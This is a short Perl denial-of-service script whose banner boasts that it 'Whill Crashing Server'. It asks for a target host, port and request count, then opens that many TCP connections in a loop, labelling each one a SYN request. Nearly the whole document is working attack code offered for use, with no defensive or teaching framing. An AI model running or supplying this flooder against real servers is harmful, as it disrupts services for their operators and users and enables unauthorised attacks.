try2

#!/usr/bin/perl
#All Right Resrved Edit by saifulfaizan
#My Mail :saifulfaizan@yahoo.com
use IO::Socket;
print q{


-------------------------------------------
2626 26 26 26 26 2626 //
2 262 262 26 26 ---------------------
2626 6 26 2 26 26 2 2626 2626 26 |
6 2 26 626 \=-=\ 2626 6 2 2 2 2 2 6 |
2626 6 26 26 26 2 6 6 6 6 2 6 |
------------------------------ 26 626 2626 2626 26 |
By saifulfaizan // |
----------------------------------

This Perl-Script Whill Crashing Server

By Flooding A Lot Of Dump Requests...............

All Right Reserved By Saifulfaizan

Ex: Perl saiful.pl 127.0.0.1 80 3000

};
if(!defined($ARGV[2])){
print "Dos Target : ";
$host = <STDIN>;
chop ($host);
print "Port : ";
$port = <STDIN>;
chop ($port);
print "SYN Requests to send : ";
$num = <STDIN>;
chop ($num);
}
if(defined($ARGV[2])){
$host = $ARGV[0];
$port = $ARGV[1];
$num = $ARGV[2];
}
for ($i=0; $i<$num; $i++)
{
$len = length $form;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || die "Can't Connect,It May The Server Dose d?.\n";
syswrite STDOUT, "[*]SYN Request: $i\n";
}

print "\n\nEnd Of Dos\n\n\n";
print "Press Enter To Exit...";
$end = <STDIN>;
chop ($end);